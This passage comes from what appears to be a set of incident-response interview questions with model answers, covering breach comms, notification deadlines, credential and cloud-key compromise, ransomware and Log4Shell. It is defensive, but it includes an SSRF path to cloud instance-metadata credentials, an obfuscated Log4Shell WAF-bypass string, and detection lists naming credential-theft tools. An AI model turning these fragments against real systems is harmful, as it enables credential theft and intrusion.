EradicationPer-host sweep results, including hosts that were offlineUnknown persistence surviving into recovery
Residual riskNamed rebuilds, unrotated keys, unanalysed hostsAn unqualified "clean" declaration

Where this goes wrong

The most common failure is writing the report to close the incident rather than to gate recovery. Two concrete versions:

  • Containment claimed from silence. "Alerts stopped firing" is the worst possible evidence: a quiet attacker is one who noticed you. The report needs flow-level proof. Say the egress firewall logged 1.2M flows across the 72-hour dwell window and zero matched the 14 known C2 endpoints; the report must also disclose the 6-hour sensor outage inside that window, because that gap is why the claim reads "no observed egress", not "no egress".
  • Eradication claimed from a clean sweep. If three hosts were offline during the sweep, the report says so and the recovery gate stays closed for them. That's the decision-changing condition: unproven eradication on any in-scope asset means that asset doesn't come back.

Alternatives

Some teams split this into a technical handover plus a separate exec brief. Fine, as long as the technical document is the source of truth and the exec version doesn't round "no observed egress" up to "attacker evicted". Others fold it into the post-incident review weeks later: too late, because recovery has already started on assumptions nobody wrote down.

What an interviewer pushes on

Whether you can name the artefact behind each claim, and whether you'd hold the recovery gate when eradication is unproven. The second one is the answer they're listening for.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-13

Communicate during a major incident without creating confusion or unsupported claims.

Answer

The first 90 seconds. Assume a SEV1: customer-facing, cause unknown, three teams responding, and a real possibility that personal data is involved. My answer is one comms owner, one reconciled record, a fixed cadence, and every fact labelled with its confidence. Confusion during an incident comes from two places: multiple versions of the truth circulating at once, and claims stated more strongly than the evidence supports. Both are process problems, not writing problems.

Why one record. If the status page, the exec Slack channel and the support macro are each written independently, they drift within the first hour. The fix is a single incident document that every audience view is derived from, never authored separately. The comms owner owns that document and the approval path; the incident commander owns the technical decisions. At SEV1 those are two people: the commander cannot run containment and reconcile comms at the same time. Below SEV1, one person can hold both.

Cadence and channels. 30-minute updates while impact is still changing, hourly once contained, and a final update at resolution. Use an out-of-band channel: a dedicated bridge and a Slack channel named for the incident, e.g. #inc-0412-payments, because the normal channel is where the noise is. If nothing changed, say "no change"; silence reads as either resolved or abandoned.

The update template. Same fields every time, so readers can scan:

FieldExample
Timestamp + next update14:05 UTC, next 14:35
Status / severitySEV1, contained, monitoring
Impact~12% of card payments failing in EU; 4,100 failed attempts
Facts + confidenceElevated 5xx from payments-api since 13:40 (confirmed); DB connection-pool saturation (likely); root cause unknown
ActionsRolled back deploy 13:52 (done); scaling pool 20→60 (in progress)
Decisions / help neededNeed DBA to confirm pool ceiling; legal to assess data exposure
OwnerComms: A. Rao; IC: J. Lin

Confidence labels are the mechanism. "Confirmed" means a linked artifact: a log line, a graph, a packet capture. "Likely" means a working theory. "Unknown" is a valid and useful entry. This is what stops premature attribution: a cause cannot be promoted to "confirmed" without the artifact, so the record itself blocks the claim. Premature attribution is detected as a cause entry with no linked evidence, and its cost is a retraction: after one retraction, readers discount every later update.

Audience views. Operational, executive, legal/privacy, vendor and customer views differ in detail, not in facts. Keep credentials, exploit detail, personal data and sensitive indicators out of the broad channels entirely. Regulatory clocks start at awareness, not at confirmation: GDPR Art. 33 gives 72 hours to notify the supervisory authority; SEC Item 1.05 of Form 8-K gives four business days from a materiality determination. Open the legal/privacy thread in the first hour so those clocks are tracked while containment continues.

Failure modes. Conflicting root-cause theories show up as two "cause" entries in the record; the cost is responders chasing the wrong theory and delayed containment: resolve by marking one "leading" and the other "under investigation". Untracked external statements, an exec tells an all-hands something the status page contradicts, are caught by diffing the statement log against the record; the cost is customers quoting the more favorable version and support handling contradictory tickets. Over-frequent updates with no new content train readers to ignore them.

When this breaks down. If the incident is a breach with an active attacker, publishing mitigation detail can tip them off; hold exploit specifics until patch adoption and publish impact and workaround instead. If legal advises against disclosure, the record still holds the facts: you change what you publish, not what you know.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-14

How do you decide whether and when to notify customers, regulators, or law enforcement?

Answer

Core answer (first 90 seconds)

Three questions get conflated here: what you must disclose, what you should disclose, and who you choose to involve. Mandatory clocks are legal, not technical, and they start at awareness: the point where you have a reasonable degree of certainty that a reportable incident occurred, not when forensics finishes. Waiting for a complete scope is the most common way companies miss a deadline.

So: pull legal, privacy and comms into the incident channel at hour zero, timestamp the awareness moment, and run notification as a track parallel to containment. Then decide in this order: does a regime apply (jurisdiction, data type, sector)? Has its trigger fired? What is the clock? What can we truthfully say right now?

The clocks that usually bind

RegimeTriggerClockRecipient
GDPR Art. 33/34controller aware of a personal-data breach72 h to the DPA; data subjects without undue delay if high risksupervisory authority, individuals
NIS2incident significant under the entity's criteria24 h early warning, 72 h notification, 1 month final reportnational CSIRT / authority
SEC Form 8-K Item 1.05determination that the incident is material4 business days from that determinationSEC
HIPAA Breach Rulediscovery of a breach of unsecured PHIindividuals within 60 days of discovery; HHS within 60 days if ≥500 people; media if ≥500 in a stateindividuals, HHS, media
DORAclassification as a major ICT-related incidentinitial within 4 h of classification, intermediate 72 h, final 1 monthcompetent authority

Counsel confirms which apply: contracts and sector rules add more, and most US state laws require notice "without unreasonable delay," several with an outer limit.

Materiality is a judgement, not a threshold

For SEC purposes an incident is material if there is a substantial likelihood a reasonable investor would consider it important. Qualitative factors: reputational harm, contractual exposure, remediation cost, loss of a key customer: count alongside dollar figures. You also cannot stall the determination to buy time; the four business days run from the conclusion, not from the intrusion.

Worked timeline (hypothetical)

  • Mon 09:10. EDR flags credential use from an unusual ASN. Containment starts; scope unknown.
  • Mon 15:00. Confirmed exfiltration of a customer table (names, emails, hashed passwords). Reasonable certainty reached: the GDPR clock starts here, not at 09:10.
  • Thu 15:00. 72 h deadline to the DPA. File a preliminary notice stating what is known and what is not.
  • Thu: materiality determination made; 8-K due the following Wednesday (4 business days).
  • Fri–Mon: staged customer notice: what happened, what we know, what we don't, what users should do.

Trade-offs and failure modes

Notify-early-and-update versus wait-for-certainty: the deciding criterion is whether the clock has started and whether what you would say is already true. Early notice with an explicit "scope still under investigation" is defensible; a late notice a regulator learns about from a journalist is not.

Concrete failures: waiting for full forensics past the awareness trigger (regulators treat delay as an aggravating factor); over-notifying customers with unverified attribution and then retracting; letting legal review block containment; and, in ransomware, notifying so publicly that you tip off the attacker before isolation is complete. Law enforcement engagement is usually worth it, but it can slow the ransom decision: do not let it gate containment.

Log every decision, approval, submission and receipt. If you correct a notice later, say so explicitly.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-3

Respond to suspected administrator-session compromise in the first hour.

Answer

I treat a suspected admin-session compromise as a live incident. First 60 seconds: declare, open a bridge, assign an incident commander, an identity lead, and a forensics lead. Assumption: the attacker may hold a refresh token, so containment must be fast but evidence-preserving. I do not reboot or wipe the endpoint before capturing memory and EDR telemetry.

First 5 minutes: verify. Check IdP sign-in logs (Entra ID, Okta System Log) for new IP/ASN, impossible travel, MFA method change, token issuance to an unfamiliar client ID. Check EDR (CrowdStrike Falcon, Defender for Endpoint) for mimikatz, rclone, aws.exe, az.exe, browser cookie theft. Check CloudTrail/GuardDuty for API calls from that session. Scope: access token is short-lived (~1h), refresh token is long-lived (days). Which devices? Which tenants? Use IdP sign-in and audit logs. For AWS, CloudTrail userIdentity.sessionContext shows role and session issuer.

By 15 minutes: contain identity. Revoke refresh tokens and sessions. Entra ID: POST /users/{id}/revokeSignInSessions or portal "Revoke sessions". Okta: DELETE /api/v1/users/{userId}/sessions. AWS: for IAM user, deactivate access keys, delete SSH keys, attach deny-all policy; for SSO, revoke sessions in IAM Identity Center. Google Workspace: reset password and revoke OAuth tokens. Require reauth on a clean device with phishing-resistant MFA (FIDO2/WebAuthn). Isolate endpoint via EDR network isolate, not power off. Keep a separate emergency-admin path: break-glass account with hardware key, stored offline, monitored.

By 30 minutes: hunt persistence. Search audit logs for new users, service principals, federated identity credentials, OAuth grants, access keys, conditional access changes, role assignments, mailbox forwarding rules, export jobs. Log sources: Entra ID audit logs, AWS CloudTrail, Okta System Log, Google Workspace Admin audit. Halt risky jobs: cancel exports, disable forwarding.

Trade-off: revoke all sessions vs scoped revoke. If you see token issuance to a new client or device, revoke all sessions for that user and any service principals they control. If only one suspicious IP and no new tokens, scoped revoke plus monitoring may avoid mass logout. Cost: revoke all logs out all users, disrupts business; scoped may leave attacker persistence. Criteria: new refresh token -> revoke all. Only access token -> scoped revoke, monitor for new tokens.

By 60 minutes: reconcile and reverse unauthorized actions. Delete created users/keys, revert policy changes, remove forwarding rules, rotate downstream trust (database passwords, API keys, certificates the admin could read). Rebuild device from known-good image. Heighten monitoring: alerts on admin role changes, impossible travel, new access keys. Communicate every 15 minutes to identity, service, legal, privacy owners by impact.

Failure modes: attacker creates new admin user and you only revoke original session -> persistence. Detection: audit log for Add user and Add member to role. Attacker adds federated identity credential to existing app -> can authenticate as app. Detection: Add federated identity credential in Entra ID audit. Attacker creates access key for IAM user -> long-lived. Detection: CloudTrail CreateAccessKey. Attacker modifies conditional access to exclude their IP -> detection: Update conditional access policy. Attacker exfiltrates via export -> detection: New-MailboxExportRequest or CreateExportJob.

Worked timeline (hypothetical timings):

| Time | Action | Tool/Log | | 0-5 min | Declare incident, open bridge, assign IC/identity/forensics | PagerDuty, Slack | | 5-15 min | Verify via IdP sign-in logs, EDR, CloudTrail | Entra ID, CrowdStrike, AWS CloudTrail | | 15-30 min | Revoke sessions/refresh tokens, isolate endpoint, require clean-device reauth | Graph revokeSignInSessions, EDR network isolate | | 30-45 min | Hunt persistence: new users, keys, federated creds, policy changes | Entra ID audit, CloudTrail, Okta System Log | | 45-60 min | Reconcile, rotate downstream secrets, rebuild, monitor | Vault, EDR, SIEM |

Decision table:

| Signal | Action | Why | | New refresh token issued to unknown client/device | Revoke all sessions for user and service principals | Refresh token can mint new access tokens for days | | Only one suspicious IP, no new tokens | Scoped revoke + monitor | Avoid mass logout; but risk if token stolen | | Admin role changed or new admin created | Revoke all, disable new admin, audit all role changes | Persistence via new admin |

KQL for Sentinel to find persistence indicators:

KUSTO
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in ("Add user", "Add service principal", "Add federated identity credential", "Update conditional access policy", "Add member to role")
| where Result == "success"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-6

Respond to compromise of a cloud access key or workload identity.

Answer

What I'd say first (60–120s)

Assume AWS, and either an IAM user access key (AKIA...) or a workload role credential is suspected leaked. Two facts decide the response: is the credential long-lived or a temporary session, and can the principal write to production data or create identities. If it can do either, I contain first and investigate second: a broken deploy is recoverable, exfiltrated data is not.

Containment is three moves in order: deactivate the source credential, revoke every session derived from it, then quarantine the workload that could mint more. Deactivating the key alone is not containment.

Why deactivating the key isn't enough

When a principal calls sts:AssumeRole, STS returns a session token plus a temporary key ID (ASIA...) and secret. That credential is validated independently of the source key and stays valid until its own expiry. AssumeRole defaults to 3600 seconds and accepts DurationSeconds up to 43200 (12 hours); role chaining caps at 3600. So if the attacker assumed the role an hour before you noticed with a 12-hour duration, deactivating the source key leaves them working for another 11 hours.

To kill live sessions, attach a deny policy conditioned on token issue time:

JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"*","Resource":"*",
 "Condition":{"DateLessThan":{"aws:TokenIssueTime":"2025-01-15T10:00:00Z"}}}]}

Every session issued before that timestamp is denied on its next call. Sessions issued after it still work, so you rotate the trust path too.

How the credential usually leaks

The common path is SSRF into the instance metadata service. An app on EC2 that fetches a user-supplied URL can be pointed at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> and read the role's temporary credentials. IMDSv1 answers a plain GET, so any SSRF works. IMDSv2 requires a PUT to /latest/api/token with an X-aws-ec2-metadata-token-ttl-seconds header first, which a naive SSRF can't do. Enforce it with instance metadata options HttpTokens: required and hop limit 1.

Containment actions

ActionAPI / commandStops
Deactivate keyaws iam update-access-key --user-name alice --access-key-id AKIA... --status InactiveNew SigV4 calls with that key
Revoke sessionsDeny on aws:TokenIssueTimeLive ASIA session tokens
Isolate workloadReplace security group, ec2:ModifyInstanceAttributeFurther IMDS reads and egress
Rotate downstreamsecretsmanager:PutSecretValueReuse of leaked secrets

Trade-off: revoke now vs watch

The real decision is immediate revocation versus scoped restriction and observation. I revoke now when the principal has write/delete on data planes, can call iam:CreateAccessKey or iam:CreateUser, or can edit a trust policy: those are persistence primitives, and watching costs more than it reveals. I'll scope-and-watch only for a read-only principal on non-sensitive data where I want the attacker's next move, and even then for a bounded window (30–60 minutes) with GuardDuty and CloudTrail live. Default is revoke.

Hunt and reconcile

Pull the key's history: aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA.... Look for CreateAccessKey, CreateUser, CreateLoginProfile, AttachUserPolicy, PutRolePolicy, CreatePolicyVersion, UpdateAssumeRolePolicy (trust edits to an external account), StopLogging/DeleteTrail, GetSecretValue, CreateSnapshot, RunInstances, and cross-account AssumeRole. GuardDuty names the obvious ones: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS and Persistence:IAMUser/UserPermissions.

Failure modes

  • Declaring containment after deactivating the key while a 12-hour session token still works.
  • Terminating the instance before snapshotting EBS or capturing memory: that destroys the evidence root cause needs.
  • Missing a second key or a new login profile the attacker created.
  • Trust-policy persistence: an UpdateAssumeRolePolicy that lets an external account assume the role survives every key rotation.

Root cause is usually one of: SSRF to IMDSv1, an overprivileged role, a 12-hour session duration nobody needed, and no CloudTrail data events to see the access.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-7

Respond to a compromised dependency or build pipeline.

Answer

First, I'd clarify the scope: is this a known malicious package version, or do we suspect the build pipeline itself was compromised? Do we have provenance attestations and SBOMs? What's the blast radius? I'll assume a typical CI/CD setup with GitHub Actions, an artifact registry, and Sigstore signing. The goal is to contain, eradicate, and recover with a verified clean trust chain.

Immediate containment: freeze all promotions and deployments. Preserve evidence without executing suspect content: don't run the compromised package or rebuild on the suspect runner. Snapshot the CI runner, registry, lockfiles, and provenance attestations. Revoke all CI, registry, signer, and deploy credentials that could have been exposed. Block the bad package hash and any known malicious identities in the registry.

Scope and impact: using SBOMs and provenance, trace which artifacts include the compromised dependency. For example, if the dependency is a malicious version of event-stream (a real 2018 incident), query your SBOM store for all artifacts that include that hash. Check cache inventories and build logs to find every build that used it. Map affected environments, customers, and data access.

Determine the compromise vector: was it source, dependency, runner, or signer? Each has a different mechanism. A compromised dependency is a malicious package published to a registry; detection is via SBOM diff or hash mismatch. A compromised runner is a self-hosted runner that injects code; detection is via provenance attestation showing unexpected build steps or runner logs. A compromised signer is a stolen signing key; detection is via signature verification against a transparency log like Rekor. Hunt for build and runtime behavior: unusual network calls, new processes, or unexpected artifact modifications.

Recovery: rollback vs rebuild. Rollback is faster but only safe if you have a verified clean artifact with provenance. Rebuild is slower but ensures a clean build from validated inputs. Deciding criteria: if the clean artifact's provenance shows it was built from a trusted commit on a trusted runner with a trusted signer, rollback is acceptable. Otherwise, rebuild in a clean environment using a lockfile with hashes and a fresh runner. Then verify admission controls and monitor for re-compromise.

ConditionRollbackRebuild
Provenance shows trusted commit, runner, signerSafeUnnecessary
Provenance missing or untrustedUnsafeRequired
Time to recoverMinutesHours to days
Risk of reintroducing vulnerabilityLow if verifiedLow if clean inputs

Failure modes: missing SBOMs or provenance means you can't trace impact. Detection is a gap in attestation coverage; operational cost is manual tracing taking days instead of hours. Shared signing keys across environments mean one compromise affects all: detection is a single key used for multiple artifacts; cost is a full re-signing effort. No isolation between builds means a compromised runner can infect other builds: detection is cross-build contamination in provenance; cost is rebuilding all artifacts from that runner.

Concrete example: Suppose you detect a malicious package evil-pkg@1.2.3. You query your SBOM store for all artifacts that include that hash. This returns 5 artifacts. You check provenance: each artifact's attestation shows it was built from commit abc123 on runner runner-7. You inspect runner-7's logs and find it was compromised via a vulnerable action. You then rebuild those 5 artifacts on a clean runner with a patched action, using the same commit but with a verified lockfile. You sign the new artifacts and deploy. For illustration, assume 4 hours with SBOMs, 3 days without.

Finally, notify owners and customers by exposure, reconcile releases and data, and improve isolation, review, provenance, signing policy, and incident exercises.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-8

Investigate suspected malicious-insider data access.

Answer

What I'd say first (60–120s)

Clarify three things before touching anything: who has authority to direct this (legal/HR, not security alone), what jurisdiction and policy apply (EU works-council or DPA notice obligations change what you may collect), and whether this is exfiltration-in-progress or historical. That last one decides monitor vs. contain.

Assumptions: I'm the engineer executing, not the decision-maker; there's a lawful basis and a named case owner; the subject hasn't been told.

Then preserve first, in parallel with a low-noise look. Put a legal hold on the subject's accounts before anything else, because audit logs expire:

SourceDefault retention
Microsoft 365 unified audit log180 days (1 year on E5)
AWS CloudTrail Event history90 days unless a trail writes to S3
Okta System Log90 days
Google Workspace Drive/Admin audit logs6 months

If the incident is older than the shortest relevant window, that evidence is already gone: say so in the report rather than implying coverage.

Preserve. Purview/eDiscovery hold on mailbox and OneDrive; full EDR triage package from the endpoint (CrowdStrike Falcon or Defender for Endpoint); export the relevant CloudTrail, Okta and Workspace logs to immutable storage with hashes and chain of custody. Collect narrowly: the subject's accounts and the specific data sets in scope, not the whole org.

Baseline. The mechanism matters. Pull 90 days of access logs and compute, per user, the daily count of distinct resources touched and daily egress volume. A typical knowledge worker touches tens of files a day; bulk exfiltration shows as a step change. Worked example (hypothetical): team median 45 distinct files/day, p99 300; the subject hit 4,100 on the day in question, 3,800 of them inside a 40-minute window, 92% outside their team's folder. That's a signal, not proof: a data engineer running a backfill looks identical, which is why you check the change ticket and resource ownership before calling it malicious.

Decide: monitor or contain. Contain now if exfiltration appears to be in progress (sustained egress to a personal domain or USB), the data is regulated, the subject holds delete/admin rights over the evidence, or they're a flight risk. Otherwise monitor: containment tips them off and you lose co-conspirators and intent evidence. Containment should be the smallest reversible action: revoke the specific OAuth token or share link, block the destination domain, disable USB via EDR policy, not a blanket account disable, which is loud and breaks payroll.

Failure modes and how you see them:

  • Tipping off: after any HR contact, watch for a deletion burst in EDR file events, mass-storage mount events, or uploads to personal cloud. If you see it, you contained too late.
  • Log roll-off: incident age exceeds the retention window above. Check first, not last.
  • Over-collection: pulling the whole mailbox contaminates the case and breaches privacy law; scope to the data sets and time window.
  • False positive: legitimate bulk export; verify against change tickets and peer group.

Outcome can be malicious, mistaken, compromised account, or legitimate. Either way the control gaps (standing export rights, no DLP on egress, 90-day log retention) get fixed.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-5

Respond to a suspected multi-tenant data breach.

Answer

Assume a multi-tenant SaaS on Postgres, S3 and a shared Redis cache, with tenants separated by a tenant_id column and a JWT claim. In the first 90 seconds: declare an incident, page the on-call security engineer plus the service owner, and freeze the blast radius without destroying evidence. The core answer is contain, scope, notify, reconcile: in that order, but containment must be reversible and evidence-preserving.

How a cross-tenant leak actually happens. Three mechanisms cover most cases. First, a missing predicate: SELECT * FROM invoices WHERE id = $1 instead of WHERE id = $1 AND tenant_id = $2. Second, connection-pool session state: if you set SET app.tenant_id = '...' on a pooled connection and don't reset it, the next request inherits the previous tenant's RLS context. Postgres row-level security with current_setting('app.tenant_id') fails open when that setting is stale. Third, a cache key without a tenant prefix: cache.get("user:123") returns another tenant's object. S3 presigned URLs generated without a tenant check, or a bucket policy with Principal: "*", are the same bug at the storage layer.

Containment trade-offs. Rotating the leaked API key stops the attacker immediately but kills the session you were watching and tips them off. Disabling the feature flag is reversible and keeps the service up, but if the bug is in the data path the flag may not cover it. Taking the write path offline guarantees the stop but loses live heap state and costs revenue. Deciding criterion: if the leak is ongoing and read-only, rotate the credential and keep logging; if writes are happening, take the write path offline first. Never kill the pod before taking a heap dump: the in-memory cache keys are what prove which tenants were served.

Evidence to preserve before you touch anything. Snapshot pg_stat_activity to capture the attacker's active queries. Note that log_statement defaults to none in Postgres, so if it was off you have no statement log: rely on the audit table instead. Pull CloudTrail (90-day default event history), S3 server access logs, and Kubernetes audit logs at RequestResponse level. Capture the JWT or session token used.

Scoping without guessing. Don't trust one indicator. Query the audit table for actor/object tenant mismatch: SELECT count(*) FROM audit WHERE actor_tenant != object_tenant AND ts > '2024-01-01'. Cross-check with S3 access logs for GET on other tenants' prefixes. Build a population with explicit exclusions, not a single log line.

Failure modes and how you detect them. Killing the pod before the heap dump loses the cache-key evidence: detect by checking whether the dump exists before termination. Rotating the DB password without first capturing pg_stat_activity loses the attacker's active queries: detect by confirming the snapshot timestamp precedes the rotation. Missing a second access path (the export job uses different code than the API) under-scopes: detect by diffing the code paths that read the same table. Notifying all tenants when only three were affected causes churn and legal exposure; notifying none when three were affected is a regulatory breach.

Notification and reconciliation. Legal/privacy decides jurisdiction and contract. GDPR requires notification within 72 hours of awareness. The customer message states which data, which tenants, what you did, and what they should do. Reconcile by comparing row versions and re-deriving tenant_id. Add an RLS policy USING (tenant_id = current_setting('app.tenant_id')::uuid) and a regression test that asserts a cross-tenant query returns zero rows.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-4

Lead response to a ransomware incident.

Answer

The first two minutes

Before I touch anything I want three answers: is encryption still spreading, do I still trust my identity plane, and can the attacker reach my backups. Those three answers set the order of everything else.

Assumptions I'd state out loud: I'm the incident commander, not the hands-on forensics lead. I have a security team, an IT ops team, and an exec sponsor, and I'm coordinating, not running every command. If this is a hospital or a plant, safety and mission impact outrank evidence preservation.

Direct answer: declare the incident, stand up out-of-band comms, and contain in this order. Identity, then backup and management planes, then the rest of the estate. Ransomware is the last step of a chain that started days or weeks earlier with a phish, a VPN credential, or an exposed RDP port. The encryption is the symptom; the persistence is the problem.

OrderActionConcrete control
1Out-of-band commsSeparate tenant or unmanaged devices: assume corporate mail and chat are read by the attacker
2IdentityReset krbtgt twice, ≥10 h apart; rotate service accounts; hunt DCSync (Event ID 4662 with replication GUIDs)
3Backup / management planeImmutable copy (S3 Object Lock in compliance mode, or offline tape); confirm the backup server isn't authenticating to the compromised AD
4Estate containmentEDR network isolation, disable VPN and RDP ingress, block known C2 at egress
5EvidenceMemory image, ransom note, one encrypted sample, logs: captured before any wipe

Why that order

Identity first because in most of these incidents the attacker already holds domain admin or a golden ticket. Isolate endpoints but leave AD intact and they redeploy from the domain controller. The krbtgt reset matters twice over: the default maximum Kerberos ticket lifetime in AD is 10 hours, so a single reset leaves a valid golden ticket in circulation for that window. One reset is not containment.

Backups second because deleting them is a step in the playbook, not an afterthought. Immutable storage is the only copy that survives a domain admin. 3-2-1-1: three copies, two media, one offsite, one immutable or offline. If the backup server authenticates to the same directory that's compromised, treat it as gone.

Failure modes and how you see them

Re-infection from restored infrastructure. You restore a domain controller from a backup taken after the attacker established persistence and they're back within hours. Detection: the same scheduled task, service, or run key reappears on rebuilt hosts, or EDR fires on the same C2 domain. Fix: rebuild DCs from media rather than restoring them, then reset krbtgt again.

Containment that destroys the evidence you need. Pulling power loses the memory image holding keys and the running process. Detection: a week later nobody can answer how they got in. Fix: capture memory and the ransom note first, and keep an encrypted sample. Decryptors have been published for some families.

Paying and not recovering. Payment buys a decryptor that is often slow and partial, does not remove the attacker, and can breach OFAC sanctions if the wallet is designated. Criteria: only after counsel and law enforcement weigh in, only if the decryptor is verified against a sample, never as the primary recovery path.

Tradeoffs

Isolate versus preserve: isolate the network path, not the power. EDR network containment keeps the host running and memory intact: that's the default. Pulling power is for a host actively spreading.

Restore versus rebuild: restore when you have a backup predating the initial access date and you can verify it; rebuild when that date is unknown or the backup's integrity is unproven. The deciding question is simply whether you know when they got in.

Close

Restore in business-impact order, reconcile data, watch for re-entry for at least one full backup cycle, and run a post-incident review that produces dated, owned resilience actions: MFA on all remote access, no standing domain admin, and immutable backups tested by actually restoring from them.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-21

Respond to an actively exploited critical vulnerability before compromise is confirmed.

Answer

Assume the vulnerability is a remote code execution in a widely deployed library, like Log4Shell (CVE-2021-44228, CVSS 10.0, added to CISA KEV on 2021-12-10). You have an asset inventory, a vulnerability scanner, and a WAF. The question is not whether you are compromised; it is how fast you can reduce exposure and detect exploitation.

In the first 60-120 seconds, say this: I treat it as an active incident. I do not wait for compromise confirmation. I prioritize exposure reduction over perfect inventory. I hunt for exploitation in parallel with patching. I verify every mitigation on every instance, including dormant and autoscaling ones.

Mechanism: Active exploitation means the attacker has a working exploit. Patching takes time: vendor patches may not exist, and rolling them out across thousands of instances takes days. So you reduce exposure first: remove public paths, disable vulnerable features, apply vendor mitigations, or isolate. WAF rules are defense in depth, not a fix; they can be bypassed with encoding tricks. For Log4Shell, the immediate mitigations were setting log4j2.formatMsgNoLookups=true (Log4j 2.10+) or removing the JndiLookup.class from the log4j-core jar. Both are real and documented.

Trade-offs: Disabling a feature may break functionality. Isolating a service may break dependencies. You need a decision point: if the service is internet-facing and critical, isolate or take it down. If internal, apply mitigation and monitor. The cost of downtime vs. the cost of a breach.

Failure modes and detection:

  • Scanner false negatives: version-based scanners miss shaded or repackaged Log4j. Detect by scanning the filesystem for JndiLookup.class inside any jar. Command: find / -name "*.jar" -exec sh -c 'unzip -l "$1" 2>/dev/null | grep -q JndiLookup && echo "$1"' _ {} \;. This finds the class even if the version string is altered.
  • WAF bypass: attackers use ${${lower:j}ndi:...} to evade regex. Detect by testing your WAF with known obfuscation payloads and checking logs for jndi: patterns.
  • Patch verification gaps: dormant AMIs or autoscaling groups may still run the vulnerable version. Detect by querying your CMDB or cloud API for running instances and comparing against the patched version. For example, AWS Config rule or aws ec2 describe-instances --filters Name=image-id,Values=ami-123 to check AMI IDs.
  • Evidence destruction: patching can overwrite logs or restart processes, losing in-memory evidence. Before patching, collect logs and memory if feasible. Use auditd or Sysmon to capture process creation. For Log4Shell, look for java processes spawning bash or curl.

Worked trace: first 24 hours of Log4Shell response (table).

Time (UTC)ActionRationale
2021-12-09 20:00Vendor advisory published.Start clock.
2021-12-10 02:00CISA adds to KEV, due 2021-12-24.Federal mandate; use as prioritization.
2021-12-10 04:00Run filesystem scan for JndiLookup.class.Find all vulnerable instances, including shaded.
2021-12-10 06:00Apply WAF rules blocking ${jndi: patterns.Defense in depth; buys time.
2021-12-10 08:00Set log4j2.formatMsgNoLookups=true via environment variable or JVM flag.Mitigation without code change.
2021-12-10 12:00Hunt logs for jndi:ldap:// or jndi:dns:// strings.Detect exploitation attempts.
2021-12-13 00:00Patch to Log4j 2.16.0 (disables JNDI by default).Vendor fix.
2021-12-17 00:00Patch to Log4j 2.17.0 (fixes DoS in 2.16.0).Final fix.
2021-12-18 06:00Verify patched version on all instances, including autoscaling.Ensure no drift.

Communicate risk and exceptions with owners and expiry. Monitor for recurrence. Open full incident response if you find evidence of exploitation or credible high-impact uncertainty.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-20

Coordinate incident response with a compromised third-party provider.

Answer

First 90 seconds

Assume we are the customer: the provider is a processor or critical SaaS vendor, we hold the contract, and our exposure runs through identity federation, API keys and webhooks rather than their code. Two facts decide the response. Our notification clock may already be running: GDPR Art. 33 gives the controller 72 hours from our own awareness, and Art. 33(2) only obliges the processor to tell us "without undue delay," which is exactly why the contract needs a hard number in it. And the provider's "contained" is a claim about their infrastructure, not about the credentials they issued to us.

So split into two tracks. Track A is evidence and authority: freeze our logs, invoke the contract's audit and evidence clauses, and get a named incident commander on their side who commits to timestamped facts. Track B is continuity: treat every credential the provider issued as compromised until proven otherwise, and decide what to cut. The controller's duty does not transfer to the processor: their failure is our notification.

What to ask for, and why

Ask for falsifiable facts: the UTC window of attacker access, affected tenants and data classes, IOCs with a confidence level, the containment action and its timestamp. "We are investigating" is not a status; "a valid session token was used from 14:02 to 19:40 UTC" is. Ask for raw logs you can hash and retain: your regulator and insurer want provenance, not a summary.

The clocks you are actually racing

RegimeDeadlineClock starts
GDPR Art. 3372 h to supervisory authorityour awareness
NIS2 Art. 2324 h early warning, 72 h notification, 1 month final reportawareness
SEC Form 8-K Item 1.054 business daysdetermination of materiality
HIPAA Breach Rule60 days to individuals; 500+ in a state also to HHS and mediadiscovery
DORA4 h initial, 72 h intermediate, 1 month finalclassification as major

None of these wait for the provider's forensic report. Notify on what you know and supplement later.

Cutting trust

Revoke the OAuth refresh tokens issued to their app, rotate the webhook HMAC secret, kill the SCIM provisioning token, and rotate any service-account key or mTLS client cert they hold. The trade-off is real: full revocation breaks SSO for every user and may lock you out of the admin console if the provider is also your IdP. Pre-stage break-glass accounts before you pull the lever. Scoped revocation keeps service running but leaves persistence you did not find. Default to full revocation when the provider touched identity; scope it when they only touched a non-identity data path.

First 24 hours, worked

  • T+0 (14:20 UTC): provider discloses. Open a bridge, name an IC, legal hold on IdP, API gateway and cloud audit logs.
  • T+1 h: revoke provider-issued refresh tokens, rotate webhook secret and SCIM token. SSO for 4,000 users breaks; that is the accepted cost.
  • T+4 h: legal scopes whether personal data is involved. If yes, the 72-hour clock is already running from our awareness, not theirs.
  • T+24 h: contract SLA's first written report is due. If it is not timestamped and specific, escalate to their GC and start the exit evaluation.

Failure modes and how you see them

Reconnecting on the provider's all-clear is the classic one: watch for API calls from your tenant using a token you never rotated, or auth events from new ASNs after restoration. Missing the regulator clock because you waited for the forensic report shows up as a deadline tracker going red: regulators do not accept "still investigating." Concentration bites when the provider is also your IdP and revocation locks you out of your own tooling; the signal is that you cannot reach the console to rotate. Validate recovery independently, replay their recovery criteria against your own logs, before you re-enable trust, then reconcile data and actions taken during the window.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-22

Walk me through responding to a suspected business email compromise: how do you investigate mailbox rule and forwarding abuse, work out the financial-fraud and recipient-exposure angle, and contain the account without tipping off the attacker?

Answer

First move. Assume the mailbox is still attacker-controlled and that the attacker is reading mail in real time. Two tracks run in parallel: evidence capture and fraud exposure. Do not email the user, do not post in a channel the mailbox could surface, and do not reset the password before you have captured rules and forwarding: a password reset is the loudest possible signal and it destroys the rule state you need.

